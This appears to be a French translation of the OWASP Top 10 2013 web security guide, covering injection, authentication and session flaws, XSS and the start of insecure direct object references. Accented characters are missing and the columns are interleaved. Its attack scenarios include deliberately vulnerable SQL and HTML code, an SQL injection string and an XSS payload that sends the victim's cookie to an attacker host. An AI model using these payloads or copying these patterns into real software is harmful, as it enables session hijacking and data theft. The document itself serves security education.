O

A propos de lOWASP

Prface

LOWASP

Les logiciels non scuriss sapent nos infrastructures

critiques telles la finance, la sant, la dfense, lnergie et
autres. Notre infrastructure numrique devenant de plus en
plus complexe et interconnecte, la difficult de parvenir
une scurit des applications augmente de faon
exponentielle. Nous ne pouvons plus nous permettre de
tolrer les problmes les plus simples comme ceux prsents
dans ce Top 10 OWASP.

Open Web Application Security Project (OWASP) est une

communaut publique permettant des organismes de
dvelopper, acheter et maintenir des applications fiables. A
lOWASP, vous trouverez en accs libre et gratuit

Le but de ce projet est de sensibiliser la scurit des

applications en identifiant certain des risques les plus
critiques rencontrs par les entreprise. Ce top 10 est
rfrenc par de nombreuses normes, livres, outils et
organisations telles MITRE, PCI DSS, DISA, FTC et bien
dautres. Cette version du Top 10 OWASP marque la onzime
anne de ce projet de sensibilisation limportance des
risques de scurit des applications. La premire publication
du Top 10 date de 2003, avec des mises jour mineures en
2004 et 2007. La version 2010 a t rorganise afin de
prioriser par risque, et non juste par prdominance. Cette
dition 2013 suit la mme approche.
Nous vous encourageons utiliser ce Top 10 pour que votre
entreprise entame une dmarche pour la scurit des
applications. Les dveloppeurs peuvent apprendre des
erreurs des autres. Les dirigeants devraient commencer
rflchir sur la faon de grer le risque que les logiciels
crent dans leurs entreprises.
Sur le long terme, nous vous encourageons crer un
programme de scurit des applications compatible avec la
culture et la technologie dentreprise. Ces programmes sont
de toutes formes et tailles, et vous devez viter de tenter de
tout faire en un modle de processus. Au lieu de cela, tirez
parti des points forts de votre entreprise et mesurez ce qui
fonctionne pour vous.
Nous esprons que ce Top 10 est utile vos efforts. N'hsitez
pas contacter l'OWASP pour vos questions, commentaires
et ides, soit publiquement owasp-topten@lists.owasp.org
ou dave.wichers@owasp.org en priv.

Des normes et des outils de scurit des applications

Des livres complets sur les tests de scurit des
applications, le dveloppement de code scuris et laudit
de code
Des normes de contrles de scurit et des librairies
Des Chapitres locaux dans le monde entier
De la recherche de pointe
Des confrences travers le monde
Des listes de diffusion
Et bien plus le tout sur www.owasp.org/
Y compris : www.owasp.org/index.php/Top_10
Laccs tous les outils, documents et forums de lOWASP est
gratuit et ouvert toute personne intresse par
lamlioration de la scurit des applications. Nous
prconisons une approche scurit des applications en tant
que problme de personnes, de processus et de technologie,
parce que les approches les plus efficaces pour la scurit des
applications ncessitent des amliorations dans tous ces
domaines.

LOWASP est une organisation dun nouveau genre. Notre

libert vis--vis des pressions commerciales nous permet de
fournir une information impartiale, pratique et rentable de la
scurit applicative. LOWASP nest lie aucune entreprise
technologique, bien que nous soutenions l'utilisation claire
de technologies de scurit commerciale. Semblable de
nombreux projets logiciels open-source, l'OWASP produit de
nombreux types de supports dans un esprit collaboratif et
ouvert.
La Fondation OWASP est lentit but non-lucratif qui assure
le succs long terme du projet. Presque tous ceux associs
OWASP sont volontaires, y compris le Board, les Comits
globaux, Chapter Leaders, Chefs de Projets et les Membres.
Nous soutenons la recherche de scurit innovante avec des
subventions et des infrastructures.
Rejoignez nous !

Copyright et Licence
Copyright 2003 2013 The OWASP Foundation
Ce document est publi sous licence Creative Commons Attribution ShareAlike 3.0. A chaque
rutilisation ou distribution, vous devez en faire clairement apparatre les conditions contractuelles

Introduction

Bienvenue
Bienvenue dans cette dition 2013 du Top 10 de lOWASP! Cette nouvelle version introduit deux catgories tendues par rapport
la version 2010 afin d'inclure d'importantes vulnrabilits. Elle propose galement une rorganisation des risques, base sur
leur prvalence. Enfin, une nouvelle catgorie de risque voit le jour: la scurit des composants tiers. Ces risques, rfrencs sous
A6 Mauvaise configuration scurit dans la version 2010, ont dsormais une catgorie ddie.
Le Top 10 2013 de l'OWASP est bas sur 8 jeux de donnes de 7 entreprises spcialises dans la scurit des applications, dont 4
socits de conseil et 3 fournisseurs d'outils ou de services SaaS (1 statique, 1 dynamique et 1 statique et dynamique). Ces
donnes couvrent plus 500 000 vulnrabilits travers des centaines d'organisations et des milliers d'applications. Les 10
catgories de risques couvertes par le Top 10 sont slectionnes et hirarchises en fonction de leur frquence, de leur
exploitabilit, de leur dtectabilit et de leurs impacts potentiels.
Lobjectif principal du Top 10 de lOWASP est de sensibiliser les dveloppeurs, concepteurs, architectes, dcideurs, et les
entreprises aux consquences des faiblesses les plus importantes inhrentes la scurit des applications web. Le Top 10 fournit
des techniques de base pour se protger contre ces domaines problmatiques haut risque et fournit des conseils sur la
direction suivre.

Avertissements
Ne vous arrtez pas 10! Il y a des centaines de problmes
qui pourraient influer sur la scurit globale dune
application web comme indiqu dans le Guide du
dveloppeur de lOWASP et la srie des OWASP Cheat
Sheets. Ce se sont des lectures essentielles pour quiconque
dveloppe des applications web. Des conseils sur la manire
de trouver des vulnrabilits dans les applications web sont
fournis dans le Guide de Test et le Guide daudit de Code.
Changement constant. Ce Top 10 voluera dans le temps.
Mme sans modifier une seule ligne de code de votre
application, cette dernire peut dj tre vulnrable une
attaque laquelle personne na pens auparavant. Veuillez
prendre connaissance des conseils la fin de ce document
dans les sections relatives aux dveloppeurs, vrificateurs et
entreprises pour plus dinformation.
Pensez positif! Quand vous serez prt arrter de chasser
les vulnrabilits et vous concentrer sur ltablissement de
contrles solides de scurit des applications, lOWASP a
publi le Standard de Vrification de Scurit Applicative
(ASVS) comme guide pour les entreprises et les auditeurs
dapplications sur ce quil faut vrifier.

Utilisez les outils sagement! Les failles de scurit peuvent

tre complexes et enfouies dans le code source. Dans la
plupart des cas, lapproche la plus rentable pour trouver et
liminer ces faiblesses reste lhumain dot de bons outils.
Allez plus loin! Faites de la scurit une partie intgrante de
la culture de votre entreprise. Pour en savoir plus, consultez
Open Software Assurance Maturity Model (SAMM) et
Rugged Handbook.

Remerciements
Nos remerciements Aspect Security pour avoir initi, pilot
et mis jour le Top 10 de lOWASP depuis sa cration en 2003,
et ses principaux auteurs: Jeff Williams et Dave Wichers.

Nous voudrions remercier les entreprises qui ont contribu

supporter la mise jour 2013 en fournissant leur donnes sur
la frquence des vulnrabilits:

Aspect Security
HP (rsultats issus des produits Fortify et WebInspect)
Minded Security - Statistiques
Softtek - Statistiques
TrustWave, SpiderLabs Statistiques (voir page 50)
Veracode Statistiques
WhiteHat Security Inc. Statistiques

Nous tenons galement remercier toutes les personnes

ayant contribu aux versions prcdentes du Top 10, sans
lesquelles , il ne serait pas ce quil est aujourdhui. Sans oublier
ceux ayant contribu par leur contenu significatif ou la
relecture de cette version 2013:

Adam Baso (Wikimedia Foundation)

Mike Boberski (Booz Allen Hamilton)
Torsten Gigler
Neil Smithline (MorphoTrust USA) pour la version wiki
et ses commentaires.

RN

Notes de version

Ce qui a chang de 2010 2013

Le paysage des menaces des applications de scurit volue constamment. Les facteurs cl de cette volution sont les progrs
raliss par les attaquants, lmergence de nouvelles technologies avec de nouvelles faiblesses, ainsi que des dfenses plus
intgres, et le dploiement de systmes de plus en plus complexes. Pour suivre le rythme, nous mettons priodiquement jour
le Top 10 de l'OWASP. Dans cette version 2013, nous avons apport les modifications suivantes:
1) La violation de gestion dauthentification et de session est plus rpandue selon notre chantillon. Nous pensons que cest
probablement du au fait que ce domaine est plus tudi, et non du fait de problmes plus rpandus. Les risques A2 et A3
changent donc de place.
2) La falsification de requte intersites (CSRF), prdominance moins rpandue dans notre rfrentiel, rtrograde de 2010-A5
2013-A8. Nous pensons que les entreprises et les dveloppeurs ont significativement rduit le nombre de vulnrabilits
CSRF dans leurs applications du fait de sa prsence dans le Top 10 OWASP depuis 6 ans.
3) Nous avons largi le Manque de restriction daccs une URL du Top 10 dOWASP 2010 afin dtre plus complet:
+

2010-A8: Manque de restriction daccs une URL est dsormais, 2013-A7: Manque de contrle daccs au niveau
fonctionnel pour couvrir tous les contrles daccs au niveau fonctionnel. Il existe de nombreuses manires de dfinir
quelle fonctionnalit doit tre accde, pas seulement lURL.

4) Nous avons fusionn et largi 2010-A7 et 2010-A9 pour CREER: 2013-A6: Exposition de donnes sensibles.

Cette nouvelle catgorie a t cre en fusionnant 2010-A7 Stockage cryptographique non scuris & 2010-A9
Protection insuffisante de la couche de transport, en y ajoutant le risque de donnes sensibles au niveau du navigateur.
Cette nouvelle catgorie couvre la protection des donnes sensibles (autre que le contrle daccs dj couvert par
2013-A4 et 2013-A7) partir du moment o les donnes sensibles sont fournies par lutilisateur, transmises et stockes
dans lapplication, et renvoyes ensuite au navigateur.

5) Nous avons ajout: 2013-A9: Utilisation de composants avec des vulnrabilits connues:
+

Ce problme a t mentionn comme faisant partie de 2010-A6 Mauvaise configuration de scurit, mais possde
maintenant une catgorie part entire du fait de la croissance rapide du dveloppement base de composants qui a
significativement augment le risque dutilisation de composants connus comme vulnrables

OWASP Top 10 2010 (Prcdent)

OWASP Top 10 2013 (Nouveau)

A1 Injection

A1 Injection

A3 Violation de Gestion dauthentification et de Session

A2 Violation de Gestion dauthentification et de

Session

A2 Cross-Site Scripting (XSS)

A3 Cross-Site Scripting (XSS)

A4 Rfrences directes non scurises un objet

A4 Rfrences directes non scurises un objet

A6 Mauvaise configuration scurit

A5 Mauvaise configuration scurit

A7 Stockage cryptographique non scuris Fusionn avec A9

A6 Exposition de donnes sensibles

A8 Manque de restriction daccs une URL Elargie dans

A7 Manque de contrle daccs au niveau fonctionnel

A5 Falsification de requte intersites (CSRF)

A8 Falsification de requte intersites (CSRF)

<inclus dans A6: Mauvaise configuration scurit>

A9 Utilisation de composants avec des vulnrabilits

connues

A10 Redirection et Renvois non valids

A10 Redirection et Renvois non valids

Risque

Risques de scurit applicatifs

Quels sont les Risques de Scurit des Applications?

Les attaquants peuvent potentiellement utiliser diffrents chemins travers votre application pour porter atteinte votre mtier
ou votre entreprise. Chacun de ces chemins reprsente un risque qui peut, ou pas, tre suffisamment grave pour mriter votre
attention.
Agents de
Menace

Vecteurs
dAttaque

Vulnrabilits

Attaque

Vulnrabilit

Contrles de
Scurit

Impacts
Techniques

Impacts
Mtier
Impact

Contrle
Bien

Attaque

Vulnrabilit

Contrle

Impact
Fonction

Vulnrabilit

Attaque

Bien
Vulnrabilit

Impact

Contrle

Parfois, ces chemins sont faciles trouver et exploiter, et parfois ils sont extrmement difficiles. De mme, le prjudice caus
peut navoir aucune consquence, ou faire cesser votre activit. Pour dterminer le risque pour votre entreprise, vous pouvez
valuer la probabilit relative chaque agent de menace, vecteur dattaque, et vulnrabilit et les combiner avec une estimation
dimpact technique et financier pour votre entreprise. Ensembles, ces facteurs dterminent le risque global.

Quel est Mon Risque?

Rfrences

Le Top 10 OWASP se concentre sur l'identification des risques les plus graves pour
un large ventail dentreprises. Pour chacun de ces risques, nous fournissons des
informations gnrales sur la probabilit et limpact technique en utilisant le
schma dvaluation des risques suivant, qui est bas sur la Mthodologie
dvaluation des risques OWASP.

OWASP

Agent de
menace

Spcifique
lApplication

Vecteurs
dattaque

Prvalence
de la
vulnrabilit

Dtection de
la
vulnrabilit

Impact
Technique

Facile

Trs rpandue

Facile

Svre

Moyen

Commune

Moyen

Modr

Difficile

Rare

Difficile

Mineur

Mthodologie dvaluation des risques

OWASP
Article sur la modlisation Menace /
Risque

Impact Mtier

Externes
Spcifiques
lApplication
ou au Mtier

Vous seul connaissez les caractristiques de votre environnement et de votre

mtier. Pour une application donne, il ny a peut-tre pas dagent de menace
pouvant raliser un type dattaque, ou il peut ny avoir aucun impact technique.
Cest pourquoi vous devez valuer chaque risque pour vous-mme, en vous
concentrant sur les agents de menace, contrles de scurit et impacts mtiers
relatifs votre votre entreprise. Nous classons les agents de menace comme
spcifiques aux applications, et les impacts mtiers comme spcifiques aux
applications ou au mtier pour indiquer quils sont clairement dpendants des
dtails de lapplication dans votre entreprise.
Le nom des risques dans le Top 10 dcoule du type dattaque, du type de faiblesse,
ou du type dimpact quil peut causer. Nous choisissons des noms qui refltent les
risque de manire prcise, et, quand cela est possible, nous nous alignons sur la
terminologie la plus rpandue pour assurer la meilleure sensibilisation.

Analyse de s risques de linformation

FAIR
Modlisation des menaces Microsoft
(STRIDE et DREAD)

T10

OWASP Top 10 2013

Risques Scurit des Applications

A1 Injection

Une faille d'injection, telle l'injection SQL, OS et LDAP, se produit quand une donne non fiable
est envoye un interprteur en tant qu'lment d'une commande ou d'une requte. Les
donnes hostiles de l'attaquant peuvent duper l'interprteur afin de l'amener excuter des
commandes fortuites ou accder des donnes non autorises.

A2 Violation de
Gestion
d'Authentification
et de Session

Les fonctions applicatives relatives l'authentification et la gestion de session ne sont souvent

pas mises en uvre correctement, permettant aux attaquants de compromettre les mots de
passe, cls, jetons de session, ou d'exploiter d'autres failles d'implmentation pour s'approprier
les identits d'autres utilisateurs.

A3 Cross-Site
Scripting (XSS)

Les failles XSS se produisent chaque fois qu'une application accepte des donnes non fiables et
les envoie un browser web sans validation approprie. XSS permet des attaquants d'excuter
du script dans le navigateur de la victime afin de dtourner des sessions utilisateur, dfigurer des
sites web, ou rediriger l'utilisateur vers des sites malveillants.

A4 Rfrences
directes non
scurises un
objet

Une rfrence directe un objet se produit quand un dveloppeur expose une rfrence un
objet d'excution interne, tel un fichier, un dossier, un enregistrement de base de donnes ou
une cl de base de donnes. Sans un contrle d'accs ou autre protection, les attaquants peuvent
manipuler ces rfrences pour accder des donnes non autorises.

A5 Mauvaise
configuration
Scurit

Une bonne scurit ncessite de disposer d'une configuration scurise dfinie et dploye pour
l'application, contextes, serveur d'application, serveur web, serveur de base de donnes et la
plate-forme. Tous ces paramtres doivent tre dfinis, mis en uvre et maintenus, car beaucoup
ne sont pas livrs scuriss par dfaut. Cela implique de tenir tous les logiciels jour.

A6 Exposition de
donnes sensibles

Beaucoup d'applications web ne protgent pas correctement les donnes sensibles telles que les
cartes de crdit, identifiants d'impt et informations d'authentification. Les pirates peuvent voler
ou modifier ces donnes faiblement protges pour effectuer un vol d'identit, de la fraude la
carte de crdit ou autres crimes. Les donnes sensibles mritent une protection supplmentaire
tel un chiffrement statique ou en transit, ainsi que des prcautions particulires lors de l'change
avec le navigateur.

A7 Manque de
contrle daccs au
niveau fonctionnel

Pratiquement toutes les applications web vrifient les droits d'accs au niveau fonctionnel avant
de rendre cette fonctionnalit visible dans l'interface utilisateur. Cependant, les applications
doivent effectuer les mmes vrifications de contrle d'accs sur le serveur lors de l'accs
chaque fonction. Si les demandes ne sont pas vrifies, les attaquants seront en mesure de forger
des demandes afin d'accder une fonctionnalit non autorise.

A8 - Falsification de
requte intersite
(CSRF)

Une attaque CSRF (Cross Site Request Forgery) force le navigateur d'une victime authentifie
envoyer une requte HTTP forge, comprenant le cookie de session de la victime ainsi que toute
autre information automatiquement inclue, une application web vulnrable. Ceci permet
l'attaquant de forcer le navigateur de la victime gnrer des requtes dont l'application
vulnrable pense qu'elles manent lgitimement de la victime.

A9 - Utilisation de
composants avec
des vulnrabilits
connues

Les composants vulnrables, tels que bibliothques, contextes et autres modules logiciels
fonctionnent presque toujours avec des privilges maximum. Ainsi, si exploits, ils peuvent causer
des pertes de donnes srieuses ou une prise de contrle du serveur. Les applications utilisant
ces composants vulnrables peuvent compromettre leurs dfenses et permettre une srie
d'attaques et d'impacts potentiels.

A10 Redirections
et renvois non
valids

Les applications web rorientent et redirigent frquemment les utilisateurs vers d'autres pages et
sites internet, et utilisent des donnes non fiables pour dterminer les pages de destination. Sans
validation approprie, les attaquants peuvent rorienter les victimes vers des sites de phishing ou
de malware, ou utiliser les renvois pour accder des pages non autorises.

A1
Agents de menace

Injection
Vecteurs
dattaque

Spcifique
Application

Exploitabilit
FACILE

Considrez que
nimporte qui peut
envoyer des
donnes non fiables
au systme, y
compris les
utilisateurs
externes, internes,
et administrateurs.

Lattaquant utilise
des scripts qui
exploitent la
syntaxe dun
interprteur cible.
Presque toute
source de donnes
peut tre un
vecteur dinjection,
y compris des
sources internes.

Vulnrabilit

Prvalence
COMMUNE

Dtection
MOYENNE

Les failles dInjection surviennent quand

une application envoie des donnes non
fiable un interprteur. Les failles
dinjection sont trs frquentes, surtout
dans un code ancien. On les retrouve
souvent en SQL, LDAP, XPath, ou NoSQL;
commandes OS; parseurs XML; enttes
SMTP, arguments de programme, etc. Les
failles dInjection se dtectent facilement
via le code, difficilement via le test.
Scanners et Fuzzers peuvent aider les
attaquants trouver les failles dInjection.

Impacts
Technique

Impacts
Mtier

Impact
SEVERE

Spcifique
Application/Mtier

LInjection peut
rsulter en une
perte ou une
corruption de
donnes, une perte
de droits, ou un
refus daccs.
LInjection peut
parfois mener une
prise de contrle
totale du serveur.

Considrez la valeur
mtier de la donne
impacte et la
plateforme
excutant
linterprteur.
Toute donne
pourrait tre vole,
modifie ou
supprime. Votre
rputation pourraitelle en ptir?

Suis-je vulnrable?

Comment sen prmunir?

Le meilleur moyen de savoir si une application est vulnrable

lInjection est de vrifier que toute utilisation
dinterprteurs spare explicitement les donnes non fiables
de la commande ou de la requte. Pour les appels SQL, cela
signifie utiliser des variables lies dans toutes les instructions
prpares et procdures stockes, et viter les requtes
dynamiques.

Empcher une Injection exige de sparer les donnes non

fiables des commandes et requtes.
1.

La meilleure option est dutiliser une API saine vitant

toute utilisation de linterprteur ou fournissant une
interface paramtrable. Attention aux APIs telles que les
procdures stockes qui, bien que paramtrables,
peuvent envelopper une Injection.

Vrifier le code est un moyen rapide et adquat pour

sassurer que lapplication utilise sainement les interprteurs.
Les outils danalyse de code peuvent aider localiser lusage
des interprteurs et tracer leur flux de donnes travers
lapplication. Les Pentesters peuvent valider ces problmes
en concevant des exploits qui confirment la vulnrabilit.

2.

En labsence dAPI paramtrable, vous devriez

soigneusement chapper les caractres spciaux en
utilisant la syntaxe dchappement spcifique
linterprteur. OWASPs ESAPI fournit des routines
dchappement.

3.

La whitelist est recommande pour valider les

donnes entrantes, mais nest pas une dfense complte,
plusieurs applications requrant des caractres spciaux;
le cas chant, seules les approches 1. et 2. scurisent.
OWASPs ESAPI a une librairie extensible de routines de
validation whitelist dentres.

Le scan dynamique peut donner un aperu des failles

dInjection existantes. Les scanners ne savent pas toujours
atteindre les interprteurs, ni si une attaque a russi. Une
mauvaise gestion derreur aide trouver les failles.

Exemple de scnarios dattaque

Rfrences

Scnario #1: Une application utilise des donnes non fiables

dans la construction de lappel SQL vulnrable suivant:

OWASP

String query = "SELECT * FROM accounts WHERE

custID='" + request.getParameter("id") +"'";
Scnario #2: Pareillement, la confiance aveugle dune
application aux frameworks peut dboucher sur des requtes
toujours vulnrables (p.ex. Hibernate Query Language (HQL)):
Query HQLQuery = session.createQuery(FROM accounts
WHERE custID=' + request.getParameter("id") + "'");
Dans les deux cas, lattaquant modifie le paramtre id dans
son navigateur et envoie: ' or '1'='1. Par exemple:
http://example.com/app/accountView?id=' or '1'='1
Le sens des deux requtes est modifi pour retourner toutes
les lignes de la table accounts. Les pires attaques peuvent
altrer des donnes, voire invoquer des procdures stockes.

OWASP SQL Injection Prevention Cheat Sheet

OWASP Query Parameterization Cheat Sheet
OWASP Command Injection Article
OWASP XML eXternal Entity (XXE) Reference Article
ASVS: Output Encoding/Escaping Requirements (V6)
OWASP Testing Guide: Chapter on SQL Injection Testing

Externes
CWE Entry 77 on Command Injection
CWE Entry 89 on SQL Injection
CWE Entry 564 on Hibernate Injection

A2
Agents de menace

Violation de Gestion
dAuthentification et de Session
Vecteurs
dAttaque

Spcifique
Application

Exploitabilit
MOYENNE

Considrez des
attaquants externes
anonymes, aussi
bien que des
utilisateurs
lgitimes essayant
de voler des
comptes tiers.
Considrez aussi les
utilisateurs internes
voulant camoufler
leurs actes.

L'attaquant exploite
des fuites/failles
dans les fonctions
de gestion de
sessions et
d'authentification
(e.g. comptes, mots
de passe, IDs de
session) pour
usurper lidentit
des utilisateurs.

Vulnrabilit

Prvalence
RPANDUE

Dtection
MOYENNE

Dvelopper correctement un systme

d'authentification ou de gestion de
sessions est difficile. En consquence, ces
schmas personnaliss ont souvent des
failles dans des domaines tels la
dconnexion, la gestion de mots de passe,
l'expiration de session, la fonction "se
souvenir de moi", la question secrte, la
mise jour de compte, etc. Trouver de
telles failles s'avre parfois difficile,
chaque implmentation tant unique.

Impacts
Techniques

Impacts
Mtier

Impact
GRAVE

Spcifique
Application/Mtier

De telles failles
permettraient la
compromission
dune partie voir de
tous les comptes.
Une fois effectue,
l'attaquant peut
faire tout ce que la
victime peut. Les
comptes
privilges sont
souvent cibls.

Considrer la valeur
Mtier des donnes
ou des fonctions
applicatives
affectes.
Considrez aussi
l'impact commercial
d une
mdiatisation de la
vulnrabilit.

Suis-je vulnrable?

Comment sen prmunir?

Les actifs de gestion de session comme les credentials et les

IDs sont-ils correctement protgs? Vous tes vulnrables si:
1. Dfaut de protection des credentials par hash ou
chiffrement lors de leur stockage. Voir A6.
2. Faiblesse des fonctions de gestion de compte (ex:
cration de compte, changement de mot de passe,
rcupration de mot de passe, IDs de session faibles)
permettant de deviner ou dcraser les credentials.
3. Exposition des IDs de session dans l'URL. (ex: rcriture)
4. Vulnrabilit des IDs de session lattaque par fixation.
5. Pas de timeout des IDs de session ou mauvaise
dsactivation des sessions ou jetons dauthentification,
en particulier SSO lors de la dconnexion.
6. Non rotation des IDs de session aprs connexion russie.
7. Les mots de passe, IDs de session et autres credentials
transitent par des canaux non chiffrs. Voir A6.
Veuillez consulter les sections V2 et V3 de l'exigence ASVS
pour plus de dtails.

La recommandation premire pour une entreprise est de

rendre accessible aux dveloppeurs:

Exemple de scnarios dattaque

Rfrences

Scnario #1: Une application de rservation de billets d'avion

expose les identifiants de session dans l'URL par rcriture:

OWASP

http://example.com/sale/saleitems;jsessionid=
2P0OC2JSNDLPSKHCJUN2JV?dest=Hawaii
Un utilisateur authentifi sur le site veut informer ses amis de
la vente. Il envoie le lien ci-dessus sans savoir qu'il fournit
aussi son ID de session. En cliquant sur le lien, ses amis
utiliseront sa session et sa carte de crdit.
Scnario #2: Les timeouts de l'application ne sont pas dfinies
correctement. Un utilisateur accde au site via un ordinateur
public. Au lieu de slectionner "dconnexion", l'utilisateur
ferme simplement le navigateur et s'en va. Un attaquant
utilise le mme navigateur une heure plus tard, et ce
navigateur est encore authentifi.
Scnario #3: Un attaquant interne ou externe obtient un
accs la base des mots de passe du systme. Les mots de
passe ne sont pas correctement chiffrs, exposant les mots
de passe de tous les utilisateurs lattaquant.

1.

Un ensemble unique de contrles d'authentification et

de gestion de sessions. Ces contrles doivent veiller :
a)

satisfaire
aux
exigences
de
vrification
d'authentification (V2) et de gestion de session (V3)
dfinies dans le Standard de Vrification de la
Scurit des Applications (ASVS)

b) proposer une interface simple aux dveloppeurs.

Prendre comme exemple linterface ESAPI
Authenticator et ses APIs utilisateur.
2.

Un effort particulier doit tre accord la prvention des

failles XSS, susceptibles d'tre utilises pour voler des
identifiants de session. Voir A3.

Pour plus de dtails sur les exigences et les problmes

viter dans ce domaine, voir les exigences de vrification
ASVS pour lAuthentification (V2) et la Gestion de Sessions
(V3).
OWASP Authentication Cheat Sheet
OWASP Forgot Password Cheat Sheet
OWASP Session Management Cheat Sheet

OWASP Development Guide: Chapter on Authentication

OWASP Testing Guide: Chapter on Authentication

Externes
CWE Entry 287 on Improper Authentication
CWE Entry 384 on Session Fixation

A3
Agents de menace

Cross-Site Scripting (XSS)

Vecteurs
dattaque

Spcifique
Application

Exploitabilit
MOYENNE

Considrez
quelquun pouvant
transmettre des
donnes non fiable
au systme, y
compris utilisateurs
externes, internes
et adminstrateurs.

Lattaquant envoie
des scripts qui
exploitent
linterprteur dans
le navigateur. Toute
source de donne
peut tre un
vecteur dattaque y
compris des sources
internes telles que
les donnes dune
base interne.

Vulnrabilit

Prvalence
TRES REPANDUE

Dtection
FACILE

XSS est la faille la plus rpandue dans les

application web. Les failles XSS ont lieu
lorsquune application inclut des donnes
fournies par lutilisateur dans une page
envoye au navigateur, sans validation ou
chappement correct de ce contenu. il en
existe trois types connus: 1)Stocke,
2)Rflchie, et 3) XSS base sur DOM.

La dtection de la plupart des failles XSS

est assez simple par test ou analyse de
code.

Impacts
Techniques

Impacts
Mtier

Impact
MODR

Spcifique
Application/Mtier

Lattaquant peut
excuter des scripts
dans le navigateur
de la victime pour
dtourner des
sessions, dfigurer
des sites, insrer du
contenu hostile,
rediriger
lutilisateur vers un
site malveillant, etc.

Considrez la valeur
mtier du systme
concern ainsi que
lensemble des
donnes quil traite.
Considrez
galement l'impact
commercial dune
exposition publique
de la vulnrabilit.

Suis-je vulnrable?

Comment sen prmunir?

Vous tes vulnrable si vous ne vous assurez pas que toute

donne transmise est correctement chappe ou quune
validation a t ralise pour en contrler la fiabilit, ceci
avant dtre incluse dans la page retourne au navigateur.
Sans chappement ou validation adquate, une telle donne
sera interprte comme du contenu excutable par le
navigateur. Si AJAX est utilis pour mettre--jour
dynamiquement la page, utilisez-vous safe JavaScript ?

La protection contre XSS requiert une gestion des donnes

non fiables spare du contenu du navigateur actif.
1.

Loption privilgier est dchapper toute donne non

fiable selon le contexte HTML dans lequel elle sera
insre (corps, attribut, javascript, CSS ou URL, etc.). Voir
OWASP XSS Prevention Cheat Sheet
pour plus
dinformations sur les techniques dchappement.

Les outils automatiss peuvent identifier des failles XSS.

Cependant, chaque application sa mthode de construction
des pages et diffrents interprteurs peuvent tre utiliss sur
le navigateur tel que JavaScript, ActiveX, Flash ou Silverlight,
ce qui rend la dtection automatique dlicate. Une
couverture complte ncessite ainsi une revue de code et
des tests de pntration en plus de loutil automatis.

2.

La validation positive des entres est recommande mais

ne constitue pas une protection suffisante en raison des
diffrentes manires dont les applications traitent leur
contenu. Une validation complte devra contrler la
longueur, les caractres, le format et les rgles mtiers.

3.

Pour les donnes complexes, considrez la libraire

OWASPs AntiSamy ou le Java HTML Sanitizer Project.

Les technologies web 2.0 telles que AJAX rendent les failles
XSS plus difficiles dtecter via les outils automatiss.

4.

Considrez Content Security Policy (CSP) pour se

protger des attaques XSS sur lensemble de votre site.

Exemple de scnario dattaque

Rfrences

Lapplication utilise des donnes non fiables dans la

construction du fragment HTML sans lavoir valide ou
chappe au pralable :

OWASP

(String) page += "<input name='creditcard' type='TEXT

value='" + request.getParameter("CC") + "'>";

OWASP XSS Prevention Cheat Sheet

OWASP DOM based XSS Prevention Cheat Sheet
OWASP Cross-Site Scripting Article

Lattaquant modifie le paramtre CC dans leur navigateur

pour:

ESAPI Encoder API

'><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'.
Cela provoque l'envoi de l'ID de session de la victime au site
web de l'attaquant, permettant l'attaquant de dtourner la
session en cours de l'utilisateur.
A noter que les attaquants peuvent aussi utiliser XSS pour
tromper les contremesures mises en place pour se protger
des attaques CSRF. Voir A8 pour plus dinformations sur CSRF.

OWASP AntiSamy: Sanitization Library

ASVS: Output Encoding/Escaping Requirements (V6)

Testing Guide: 1st 3 Chapters on Data Validation Testing

OWASP Code Review Guide: Chapter on XSS Review
OWASP XSS Filter Evasion Cheat Sheet

Externes
CWE Entry 79 on Cross-Site Scripting

A4
Agents de menace

Rfrences directes non

scurises un objet
Vecteurs
dattaque

Spcifique
Application

Exploitabilit
FACILE

Considrez les
diffrents types
dutilisateurs de
votre systme.
Certains dentre eux
ont-ils un accs
limit aux donnes
en fonction de leur
nature ?

L'attaquant, un
utilisateur lgitime,
substitue la valeur
d'un paramtre
faisant rfrence
un objet, par une
rfrence un
autre objet qui lui
est interdit. Aura-t-il
accs cette
ressource ?

Vulnrabilit

Prvalence
COMMUNE

Dtection
FACILE

Les applications incluent souvent les

identifiants techniques des objets au sein
des pages gnres (nom, cl, etc.). La
vrification des autorisations de
l'utilisateur avant accs aux objets nest
pas systmatique. On parle dans ce cas de
rfrences directes non scurises. Il est
facile de dtecter cette vulnrabilit en
modifiant la valeur des paramtres lors de
tests. Lanalyse rapide du code peut aussi
dmontrer labsence de vrification.

Impacts
Techniques

Impacts
Mtier

Impact
MODR

Spcifique
Application/Mtier

Toutes les donnes

rfrences par le
paramtre
vulnrable sont
concernes. Sauf si
des rfrences non
prdictibles sont
utilises, il est facile
pour l'attaquant
d'accder toutes
les ressources.

Considrez la valeur
marchande des
donnes exposes.
Considrez
galement limpact
li la divulgation
de la vulnrabilit
au grand public.

Suis-je vulnrable ?

Comment sen prmunir?

Le meilleur moyen de dterminer si une application est

vulnrable aux rfrences directes non scurises est de
vrifier que toutes les rfrences vers un objet disposent des
dfenses adaptes. Pour cela :
1. Pour les rfrences directes des ressources protges,
lapplication choue-t-elle vrifier que lutilisateur est
bien autoris accder la ressource demande ?
2. Pour les rfrences indirectes, lassociation vers la
rfrence directe stend-elle au-del des seules valeurs
autorises lutilisateur en question ?

Afin dviter les rfrences directes non scurises il convient

de suivre une approche permettant de protger chaque objet
mis disposition des utilisateurs (ex : nom de fichier, etc.) :
1.

Lanalyse du code applicatif permet de rapidement vrifier

que lune ou lautre des techniques est bien employe. La
ralisation de tests est galement efficace pour identifier les
rfrences directes et valuer leur scurit. Les outils
automatiss ne cherchent pas identifier de telles
vulnrabilits puisquils sont incapables de reconnatre ce qui
requiert une protection, ni mme ce qui est scuris ou non.

Implmenter des rfrences indirectes, par utilisateur

ou par session. Cela empche lattaquant de cibler les
ressources interdites. Par exemple, au lieu dutiliser la cl
de lobjet en base de donnes, une liste droulante de six
objets autoriss pour lutilisateur pourrait sappuyer sur
les chiffres 1 6 pour indiquer la valeur choisie.
Lapplication doit associer la rfrence indirecte par
utilisateur la valeur relle de la cl sur le serveur. La
librairie ESAPI de lOWASP propose des mthodes
facilitant limplmentation des rfrences indirectes.

2.

Contrler laccs. Chaque sollicitation dune rfrence

directe par une entit non fiable doit inclure un contrle
daccs permettant de sassurer que lutilisateur en
question est bien autoris accder lobjet demand.

Exemple de scnario dattaque

Rfrences

Lapplication utilise une valeur non vrifie dans une requte

SQL accdant des informations dun compte :

OWASP

String query = "SELECT * FROM accts WHERE account = ?";

PreparedStatement pstmt =
connection.prepareStatement(query , );
